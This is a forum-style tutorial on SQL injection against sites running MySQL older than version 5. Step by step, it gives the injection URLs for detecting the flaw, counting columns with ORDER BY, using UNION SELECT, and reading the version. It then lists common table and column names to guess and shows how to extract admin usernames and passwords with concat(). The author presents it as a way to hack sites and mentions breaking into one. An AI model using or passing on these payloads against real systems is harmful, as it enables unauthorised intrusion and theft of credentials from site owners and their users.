How To Hack Sites That Have Lower MySQL Version Than 5

I'll make it easy and fast,simple and less theory.

What Will You Read About:
*Check For Vuln.
*Check How Much Columns Are There
*Check Does Union Works
*Check For Version
*Getting table and column name &Pulling Data Out.

Okey Letz start...

We are going to use an example like this:

Code:

http://site.com/news.php?id=5

*Check For Vuln.

Checking for vuln is same as in Normal SQL Injection With a string(') so the url will look like this:

Code:

http://site.com/news.php?id=5'

and we will get something like

Code:

"You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right

this means that the site is vuln to MySQL Injection

*Check How Much Columns Are There

Like i said like in normal MySQL INjection we do this with

Code:

Order By

So we go now to the url and try to find how many columns are there:

Code:

http://www.site.com/news.php?id=5 order by 1/* < -- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* < -- no error
http://www.site.com/news.php?id=5 order by 4/* < -- error

We got some message like

Code:

Unkown Column "4" in "order clause"

This means that there are 3 columns

*Check Does Union Works

With union we can select more data in one sql statement.

Code:

http://www.site.com/news.php?id=5 union all select 1,2,3/
*

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works


*Check For Version

So when we tryped this:

Code:

http://www.site.com/news.php?id=5 union all select 1,2,3/*

some numbers lets say 2 have showed us on the screen now we change 2 into

Code:

version() or @@version

so the url will looks like this:

Code:

http://www.si te.com/news.php?id=5 union select 1,@@version,3/*

and we get like a result something like this:

Code:

4.1.33-log or 5.0.45 or similar.

*Getting table and column name

And now is the real part where you learn about how to do this shit.
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) we need to guess the table names and column names.So this is the hard part in this injection.
-Why?
Well everysite is not on english langue i have recently hacked a site from belgium the columns and tables weren't like

Code:

username,user,userid,password,members.admin ect

they were completly different so this makes the injector(You/Hacker) works a lot harder you need to search for that kind of words than translate them a lotz a lotz of work and maybe everything will be for nothing. That is why i hate this Injection

So letz say the site have an english table names and column names .
common table names:

Code:

user,usres,admin,administrators,members,member,login

common column names:

Code:

username,useremail,n_user,user_name,user,password,pass,upass,userpassword,userpass,hash,email,umail

Now letz check if there is a table name admin we do that doing this:

Code:

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/*

So if we see the number 2 on the screen table admin exsists if doesnt exsists probably we will get an error

so we move on we know there is a table with name admin now its time for the columns

Code:

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/*

If we get an error column name "username" doesn't exsists
so we try other:

Code:

http://www.site.com/news.php?id=5 union all select 1,uname,3 from admin/*

It returns an data ex:

Code:

Administrator

So we guessed the column user now its time for password:

Code:

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/*

Damn returns error there is no column name "password" lets try other:

Code:

http://www.site.com/news.php?id=5 union all select 1,upass,3 from admin/*

w00t we got:

Code:

AdminPassword

So Now we know that there is an table name:

Code:

admin

with columns:

Code:

uname and upass

and we pulled the data from them and get:

Code:

Administraotr:AdminPassword

Also we can use contact() to get everything in one request:

Code:

http://www.site.com/news.php?id=5 union all select 1,concat(uname,0x3a,upass),3 from admin/*

and we get:

Code:

Administrator:AdminPassword

Well that was it How to hack site with MySQL Injection Lower than 5 Hope You Like It Guys

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Categories: sql injection